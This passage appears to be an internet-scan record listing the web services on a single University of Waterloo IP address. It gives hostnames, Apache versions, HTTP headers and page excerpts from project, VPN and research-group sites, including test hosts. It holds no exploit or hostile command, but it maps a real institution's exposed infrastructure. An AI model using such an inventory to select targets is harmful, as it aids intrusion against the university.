'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-M9XLVF');</script>
<!-- End Google Tag Manager -->
<link href="https://uwaterloo.ca/computer-science/sites/default/files/css/css_oGOnTlq3Rxk1pGXOw13sY9ZZIj8N35rZfDWUg_RHWmo.css" media="all" rel="stylesheet"/>
<link href="https://uwaterloo.ca/computer-science/sites/default/files/css/css_-4HXTjog3FwpNqNyMV3b7OCouTI2V4f6QKA0fcKuUp8.css" media="all" rel="stylesheet"/>
<link href="//odyssey.uwaterloo.ca/static/wcms/main.css" media="all" rel="stylesheet" type="text/css"/></head>
<body class="node-page node-page--node-type-uw-ct-web-page not-front not-layout-page org-school path-node">
<!-- Google Tag Manager (noscript) -->
<noscript>
<iframe aria-label="Google Tag Manager" height="0" src="https://www.googletagmanager.com/ns.html?id=GTM-M9XLVF" style="display:none;visibility:
Open service 129.97.167.168:80 · www.swag.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://www.swag.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · student.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://student.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · nextcloud.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://nextcloud.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · scicom.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://scicom.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · epad.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://epad.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · vision.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK date: Fri, 09 Jan 2026 21:21:17 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate last-modified: Thu, 06 Dec 2018 14:52:09 GMT etag: "6e-57c5ba4a6e47e" accept-ranges: bytes content-length: 110 vary: Accept-Encoding content-type: text/html; charset=utf-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close Welcome to vision.cs.uwaterloo.ca <ul> <li> <a href="code/">Code</a> <li> <a href="data/">Datasets</a> </ul>
Open service 129.97.167.168:443 · epad.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:17 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Sat, 05 Mar 2011 01:09:51 GMT
etag: "243b-49db1eb67f719"
accept-ranges: bytes
content-length: 9275
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/
connection: close
Page title: ePad :: Home
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr"><!-- InstanceBegin template="/Templates/main.dwt" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="keywords" content="Assistance, Dementia, Alzheimers, Art Therapy, MDP, Markov Decision Process, POMDP, computer vision"/>
<meta name="description" content="ePAD project"/>
<meta name="author" content ="Jesse Hoey"/>
<link rel="stylesheet" type="text/css" href="style.css" media="screen" />
<!-- InstanceBeginEditable name="doctitle" -->
<title>ePad :: Home</title>
<!-- InstanceEndEditable -->
<!-- InstanceBeginEditable name="head" -->
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-19057155-5']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
<!-- InstanceEndEditable -->
<!-- InstanceParam name="IfSubnav" type="boolean" value="true" -->
<!-- InstanceParam name="IfSplash" type="boolean" value="true" -->
<!-- InstanceParam name="IfArticles" type="boolean" value="false" -->
</head>
<body>
<div id="site-wrapper">
<div id="header">
<div id="top">
<div class="left" id="logo"> <a href="index.html"><img src="img/epadLogo.png" alt="" width="100" height="100" /></a> </div>
<div class="left navigation" id="main-nav">
<ul class="tabbed">
<!-- InstanceBeginEditable name="MainNav" -->
<li class="current-tab"><a href="index.html">Project</a></li>
<li><a href="people.html">People</a></li>
<li><a href="publications.html">Publications</a></li>
<!-- InstanceEndEditable -->
</ul>
<div class="clearer"> </div>
</div>
<div class="clearer"> </div>
</div>
<div class="navigation" id="sub-nav">
<ul class="tabbed">
<!-- InstanceBeginEditable name="SubNav" -->
<li class="current-tab"><a href="index.html">Introduction</a></li>
<li><a href="arttherapy.html">Creative Arts</a></li>
<li><a href="technology.html">ePad Technology</a></li>
<li><a href="media.html">Screenshots and Videos</a></li>
<!-- InstanceEndEditable -->
</ul>
<div class="clearer"> </div>
</div>
</div>
<div id="splash">
<div class="col3 left"> <!-- InstanceBeginEditable name="Splash1" -->
<h2 class="label label-green"><a href="arttherapy.html">Art and Dementia</a></h2>
<p>While scientists are racing to find a cure, according to the <a href="http://www.alzheimer.ca/" target="_blank" class="more">Alzheimer Society of Canada</a>, about half a million Canadians were living with dementia in 2009. The arts provides a non-pharmaceutical approach that helps alleviate anxiety and confusion and provide some respite for people with dementia and their caregivers. Being engaged in the arts is a positive way of maintaining or improving one's quality of life, especially those who live with dementia.</p>
<p><a href="arttherapy.html" class="more">Learn more »</a></p>
<!-- InstanceEndEditable --> </div>
<div class="col3-mid left"> <!-- InstanceBeginEditable name="Splash2" -->
<h2 class="label label-orange"><a href="technology.html">ePad Technology</a></h2>
<p>ePad is a computerized touch-screen tool for art therapists. The tool allows therapists to design individualized computer applications for particular clients. The resulting applications look like painting programs, but are usually simpler, can follow the therapeutic goals of the therapist designer, and can be adapted to particular user's needs, taking into account visual, auditory and motor capabilitie
Open service 129.97.167.168:443 · inventory.math.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 302 Found date: Fri, 09 Jan 2026 21:21:18 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate location: https://inventory.math.uwaterloo.ca:443/mellon/login?ReturnTo=%2F transfer-encoding: chunked strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close
Open service 129.97.167.168:443 · wwwtest5.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK date: Fri, 09 Jan 2026 21:21:17 GMT server: Apache/2.4.58 (Ubuntu) content-location: index.shtml vary: negotiate tcn: choice cache-control: private, max-age=0, must-revalidate accept-ranges: bytes content-length: 0 content-type: text/html; charset=utf-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close
Open service 129.97.167.168:443 · grec.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently date: Fri, 09 Jan 2026 21:21:17 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate location: https://cs.uwaterloo.ca/current-undergraduate-students/research-opportunities/undergraduate-research-fellowship-urf content-length: 410 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cs.uwaterloo.ca/current-undergraduate-students/research-opportunities/undergraduate-research-fellowship-urf">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at grec.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · andromeda-proxy.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 404 Not Found date: Fri, 09 Jan 2026 21:21:17 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate content-length: 294 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close Page title: 404 Not Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at andromeda-proxy.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · dsg.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://dsg.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · inventory.math.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://inventory.math.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · hi.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently date: Fri, 09 Jan 2026 21:21:18 GMT server: Apache/2.4.58 (Ubuntu) location: https://uwaterloo.ca/health-informatics/ content-length: 330 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/health-informatics/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at hi.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · vpn.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:17 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Mon, 05 May 2025 14:36:47 GMT
etag: "59cb-634646e0b663e"
accept-ranges: bytes
content-length: 22987
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/
connection: close
Page title: UWATERLOO CS OpenVPN Landing Page
<!DOCTYPE html>
<!-- saved from url=(0028)https://vpn.cs.uwaterloo.ca/ -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>UWATERLOO CS OpenVPN Landing Page</title>
<link rel="stylesheet" href="./UWATERLOO CS OpenVPN Landing Page_files/style.css">
</head>
<body>
<div id="header">
<h1>How to Connect to the UW CS OpenVPN</h1>
</div>
<div id="table_of_contents">
<h2>Table of Contents</h2>
<ul id="toc">
<li><a href="#overview">Overview</a></li>
<li><a href="#downloads">Downloads</a></li>
<li><a href="#windows">Windows</a></li>
<li><a href="#mac_osx">Mac OS X</a></li>
<li><a href="#ubuntu">Ubuntu</a></li>
<li><a href="#iOS">iOS</a></li>
<li><a href="#android">Android</a></li>
</ul>
</div>
<hr>
<div id="container">
<div id="overview">
<h1 id="overview_h1">Overview</h1>
<ol>
The SCS VPN service provides secure "first-hop" Internet communications for Faculty, staff and students with GENERAL domain credentials. The service uses open-source OpenVPN TLS VPN hosted on SCS servers allowing users on a wide variety of platforms to establish an
encrypted tunnel to vpn.cs.uwaterloo.ca over which all their non-local Internet traffic will be routed. The default configuration also replaces clients' existing name server (DNS) configuration with a secure link to University of Waterloo
name servers. When off-campus, users can be confident that Internet communications from their laptop, phone, tablet or computer
are as secure as from their campus devices.<br><br>
Detailed instructions are provided below for the most popular client options. If you cannot find instructions for your device or require a custom solution, be sure to contact the CSCF Help Desk (cscfhelp@uwaterloo.ca).
<br>
</ol>
<p> </p>
<br>
</div>
<hr>
<div id="overview">
<h1 id="overview_h1">Please read: Notes on 2-Factor Authentication (2FA)</h1>
<ol>
The SCS VPN service now requires 2FA for connections. On connection, users will receive a push on their UW Duo 2FA
device to accept a request from "CS VPN LDAP proxy". Accepting that push will enable your VPN connection for up to two weeks, or until your next reconnection. <br><br>
For Duo 2FA users that use passcodes, please generate a passcode for use and then append your (GENERAL) password in the VPN client with a comma i.e.<br>
<password> --> <password>,<passcode><br>
As with the push, this connection is good for two weeks, or until next reconnection.<br><br>
<br>
</ol>
<p> </p>
<br>
</div>
<hr>
<div id="downloads">
<h1 id="downloads_h1">Downloads</h1>
<p> The configuration file for SCS OpenVPN clients can be downloaded here. The same file gives the default configuration for all supported clients. Contact the CSCF Help Desk (cscfhelp@uwaterloo.ca) for guidance with other configurations.
</p>
<a id="downloads_ovpn" href="scs-vpn-20250430.ovpn" download="scs-vpn-20250430.ovpn">scs-vpn-20250430.ovpn</a><br>
</div>
<hr>
<div id="windows">
<a href="https://vpn.cs.uwaterloo.ca/#header">Top</a>
<h1 class="windows_h1">Connecting with Windows</h1>
<ol>
<li> First, download <a id="ovpn" href="scs-vpn-20250430.ovpn" download="scs-vpn-20250430.ovpn">scs-vpn-20250430.ovpn</a> . Save it to a place where you won't lose it.<br><br>
</li>
<li> Next, download the <a href="https://openvpn.net/index.php/open-source/downloads.html">OpenVPN GUI</a> program.<br><br>
<img src="./img/Win/open
Open service 129.97.167.168:443 · student.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently date: Fri, 09 Jan 2026 21:20:24 GMT server: Apache/2.4.52 (Ubuntu) cache-control: private, max-age=0, must-revalidate location: https://cs.uwaterloo.ca/cscf content-length: 326 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: student.cs.uwaterloo.ca_haproxy_cookie=student.cs.uwaterloo.ca2; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cs.uwaterloo.ca/cscf">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at student.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · icr.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently date: Fri, 09 Jan 2026 21:21:17 GMT server: Apache/2.4.58 (Ubuntu) location: https://uwaterloo.ca/institute-computer-research/ content-length: 340 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/institute-computer-research/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at icr.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · hi.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://hi.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · wwwtest.student.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently date: Fri, 09 Jan 2026 21:20:24 GMT server: Apache/2.4.52 (Ubuntu) cache-control: private, max-age=0, must-revalidate location: https://cs.uwaterloo.ca/cscf content-length: 334 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: wwwtest.student.cs.uwaterloo.ca_haproxy_cookie=wwwtest.student.cs.uwaterloo.ca1; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cs.uwaterloo.ca/cscf">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at wwwtest.student.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · wwwtest3.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK date: Fri, 09 Jan 2026 21:21:18 GMT server: Apache/2.4.58 (Ubuntu) content-location: index.shtml vary: negotiate tcn: choice cache-control: private, max-age=0, must-revalidate accept-ranges: bytes content-length: 0 content-type: text/html; charset=utf-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close
Open service 129.97.167.168:80 · neurocog.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://neurocog.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · scicom.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK date: Fri, 09 Jan 2026 21:21:17 GMT server: Apache/2.4.58 (Ubuntu) content-location: index.shtml vary: negotiate,Accept-Encoding tcn: choice cache-control: private, max-age=0, must-revalidate accept-ranges: bytes transfer-encoding: chunked content-type: text/html; charset=utf-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close Page title: University of Waterloo Scientific Computation Group - Home <!DOCTYPE html> <html> <head> <title>University of Waterloo Scientific Computation Group - Home</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link href="theme/screen.css" media="screen" rel="stylesheet" type="text/css" /> <link href="theme/print.css" media="print" rel="stylesheet" type="text/css" /> <link href="theme/all.css" media="all" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="//code.jquery.com/jquery-latest.min.js"></script> <script type="text/javascript" src="js/slides.min.jquery.js"></script> <script type="text/javascript" src="js/scicom.js"></script> </head> <body> <div id="shell"> <div id="header"> <h1><a href="index.shtml"><span>Scientific Computation Group</span></a></h1> <ul id="navigation"> <li><a href="index.shtml"><span>Home</span></a></li> <li><a href="research.shtml"><span>Research</span></a></li> <li><a href="people.shtml"><span>People</span></a></li> <li><a href="industrial.shtml"><span>Industry Links</span></a></li> <li><a href="contact.shtml"><span>Contact</span></a></li> </ul> </div> <div id="slides"> <div class="slides_container"> <a href="https://commons.wikimedia.org/wiki/File:Vortex-street-animation.gif"><img src="pictures/slides/Vortex-street-animation.gif" alt="" /></a> <a href="http://www.cs.columbia.edu/cg/doublebubbles/"><img src="pictures/slides/Bubbles.gif" alt="" /></a> <a href="https://commons.wikimedia.org/wiki/File:Wiener_process_set_of_zeros.gif"><img src="pictures/slides/wiener.gif" alt="" /></a> <a href="https://commons.wikimedia.org/wiki/File:Karman_Vortex_street_ani.gif"><img src="pictures/slides/karman.gif" alt="" /></a> <a href=""><img src="pictures/slides/rasterloop.gif"></a> <!--<a href="#"><img src="pictures/slides/collage.jpg" alt="" /></a>--> </div> </div> <div id="content"> <h2>SciCom at Waterloo</h2> <p> The Scientific Computation Group (or "SciCom") is a research group within the <a href="http://www.cs.uwaterloo.ca/">David R. Cheriton School of Computer Science</a> in the <a href="http://www.math.uwaterloo.ca/">Faculty of Mathematics</a> at the <a href="http://www.uwaterloo.ca/">University of Waterloo</a> focused on <a href="http://en.wikipedia.org/wiki/Computational_science">scientific computing</a>. We also have affiliations with the <a href="https://math.uwaterloo.ca/applied-mathematics/home">Department of Applied Mathematics</a>. Several of us are cross-appointed to Applied Math, and we accept graduate students in <a href="https://cs.uwaterloo.ca/future-graduate-students">computer science</a>, <a href="https://uwaterloo.ca/computational-mathematics/graduate-students/masters-program">computational mathematics</a>, and <a href="https://uwaterloo.ca/applied-mathematics/graduate-students">applied math</a>. </p> <p> Our core goals are (1) to make research contributions to computing for engineering, scientific, medical, entertainment, and financial applications, including the development of techniques and algorithms; (2) to incorporate this research into effective software; and (3) to train highly skilled graduate students in the fundamental tools of scientific computing. </p> <h3>Research Interests</h3> <p> Members of our group are interested in a diverse range of techniques and applications of computational science. Some focus areas include: </p> <ul> <li>Computational Fluid Dynamics</li> <li>Computational Finance</li> <li>Computational Methods for Optimization</li> <li>Computational Neuroscience</li> <li>Data Mining and Network Analysis</li> <li>Light Transport and Rendering</li> <li>Medical Image Processing</li> <li>Numerical Linear Algebra</li> <li>Numerical Solutions of Partial Differential Equations</li> <li>Physics-Based Animation for Computer Graphics</li> <!--<li>Computational Support for PDE-Based Modeling</li> <li>Numerical Linear Algebra and Optimization</li> <li>Neuroscience</li> <li>Image Processing</li> <li>Scientific Visualization</li>-->
Open service 129.97.167.168:80 · icse2019.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://icse2019.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · wwwtest.student.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://wwwtest.student.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · www.scg.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://www.scg.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · icse2019.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently date: Fri, 09 Jan 2026 21:21:17 GMT server: Apache/2.4.58 (Ubuntu) location: https://conf.researchr.org/home/icse-2019/ content-length: 341 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://conf.researchr.org/home/icse-2019/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at icse2019.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · icr.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://icr.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · rebels.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:17 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Tue, 02 Dec 2025 21:05:24 GMT
etag: "13ae-644fe745a16c3"
accept-ranges: bytes
content-length: 5038
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/
connection: close
Page title: Software REBELs
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Software REBELs</title>
<!-- Bootstrap Core CSS -->
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
<script src="//netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script>
<link href="/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href=/css/one-page-wonder.css rel="stylesheet">
<link href="/css/custom.css" rel="stylesheet">
<link rel="icon" type="image/png" href="/logo/rebels.png">
</head>
<body>
<!-- Navigation -->
<nav class="navbar navbar-inverse navbar-fixed-top" role="navigation">
<div class="container">
<!-- Brand and toggle get grouped for better mobile display -->
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#rebelsNavbar">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a href="/"><img src="/logo/rebels_flat.png" height=50px></img></a>
</div>
<!-- Collect the nav links, forms, and other content for toggling -->
<div class="collapse navbar-collapse navbarlink" id="rebelsNavbar">
<ul class="nav navbar-nav">
<li><a href="/members.html">Members</a></li>
<li><a href="/publications.html">Publications</a></li>
</ul>
</div>
<!-- /.navbar-collapse -->
</div>
<!-- /.container -->
</nav>
<!-- Page Content -->
<div class="container">
<hr class="featurette-divider">
<!-- First Featurette -->
<div class="featurette" id="about">
<img class="featurette-image img-circle img-responsive pull-right" src="/logo/rebels.png" width=400px height=400px>
<h2 class="featurette-heading">The Software REBELs</h2>
<p class="lead textblock"><b>(a.k.a., the Software Repository Excavation and Build Engineering Labs)</b> develop tool and decision support for modern software development and release teams. Specifically, we support software development teams by excavating software repositories to provide decision support today based on past tendencies. Moreover, we support release engineering teams by extracting and analyzing data from (and about) software build systems.</p>
<p class="lead textblock">More information about the recent research of the group is available in on the <a href="/publications.html">publications</a> page.
</div>
<hr class="featurette-divider">
<!-- Second Featurette -->
<div class="featurette" id="about">
<img class="featurette-image img-responsive pull-left" src="/logo/uw.png" width=450px border=2px>
<h2 class="featurette-heading2">Located at the University of Waterloo</h2>
<p class="lead textblock"><b>in one of Canada's <a href="https://www.cbc.ca/news/canada/kitchener-waterloo/waterloo-region-growth-statistics-canada-1.5464828">fastest growing</a> and <a href="https://www.cbc.ca/news/canada/kitchener-waterloo/justin-trudeau-google-canada-1.3403297">most innovative</a> cities.</b>
The Software REBELs are a part of the <a href="https://cs.uwaterloo.ca/">Cheriton School of Computer Science</a> and are funded by the <a href="https://uwaterloo.ca/math/">Faculty of Math</a>, the <a href="http://nserc-crsng.gc.ca/">Natural Sciences and Engineering Research Council of Canada (NSERC)</a>, <a href="https://www.mitacs.ca/">Mitacs</a>, and our industrial partners at <a href="https://www.ubisoft.com/en-us/studio/laforge">Ubisoft</a>, <a href="https://www.dellemc.com/">Dell EMC</a>, <a href="https://yourbase.io/">YourBase</a>, and <a href="https://www.shopify.com/">Shopify</a>.</p>
</div>
<hr class="featurette-divider">
<!-- Third Featurette -->
<div class="featurette" id="about">
<img class="featurette-image img-responsive pull-right" src="/photos/unclesam.png" width=400px border=2px>
<h2 class="feature
Open service 129.97.167.168:80 · andromeda-proxy.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://andromeda-proxy.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · algcomp.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://algcomp.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · vpn.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://vpn.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · booked.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://booked.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · algcomp.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:17 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Tue, 23 Dec 2025 16:53:31 GMT
etag: "3b2f-646a1623851ff"
accept-ranges: bytes
content-length: 15151
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="generator" content="Hugo 0.133.1">
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<title></title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="This is the website of the Algorithms & Complexity group at the University of Waterloo." />
<meta property="og:title" content="Waterloo Algorithms & Complexity" />
<meta property="og:type" content="website" />
<meta property="og:url" content="https://algcomp.uwaterloo.ca/" />
<meta property="og:image" content="https://algcomp.uwaterloo.ca/images/Davis_Centre_2_.jpg" />
<meta property="og:description" content="This is the website of the Algorithms & Complexity group at the University of Waterloo." />
<meta name="twitter:creator" content="@zerostaticio" />
<link rel="icon" href="/UW-logo-1.png">
<link rel="stylesheet" href="/css/style.min.bac101a6df8b89ab8abf19a89ab5d509677651a5e448d3e3ff6118e25a264895.css">
</head>
<body class='page page-home'>
<div id="main-menu-mobile" class="main-menu-mobile">
<ul>
<li class="menu-item-home">
<a href="/">
<span>Home</span>
</a>
</li>
<li class="menu-item-faculty">
<a href="/faculty/">
<span>Faculty</span>
</a>
</li>
<li class="menu-item-students">
<a href="/students/">
<span>Students</span>
</a>
</li>
<li class="menu-item-postdocs">
<a href="/postdocs/">
<span>Postdocs</span>
</a>
</li>
<li class="menu-item-courses">
<a href="/courses/">
<span>Courses</span>
</a>
</li>
<li class="menu-item-events">
<a href="/events/">
<span>Events</span>
</a>
</li>
<li class="menu-item-alumni">
<a href="/alumni/">
<span>Alumni</span>
</a>
</li>
<li class="menu-item-positions">
<a href="/positions/">
<span>Positions</span>
</a>
</li>
</ul>
</div>
<div class="wrapper">
<div class='header'>
<div class="container">
<div class="logo">
<a href="https://algcomp.uwaterloo.ca/"><img alt="Algorithms & Complexity" src="/images/logo.svg" /></a>
</div>
<div class="logo-mobile">
<a href="https://algcomp.uwaterloo.ca/"><img alt="Algorithms & Complexity" src="/images/logo-mobile.svg" /></a>
</div>
<div id="main-menu" class="main-menu">
<ul>
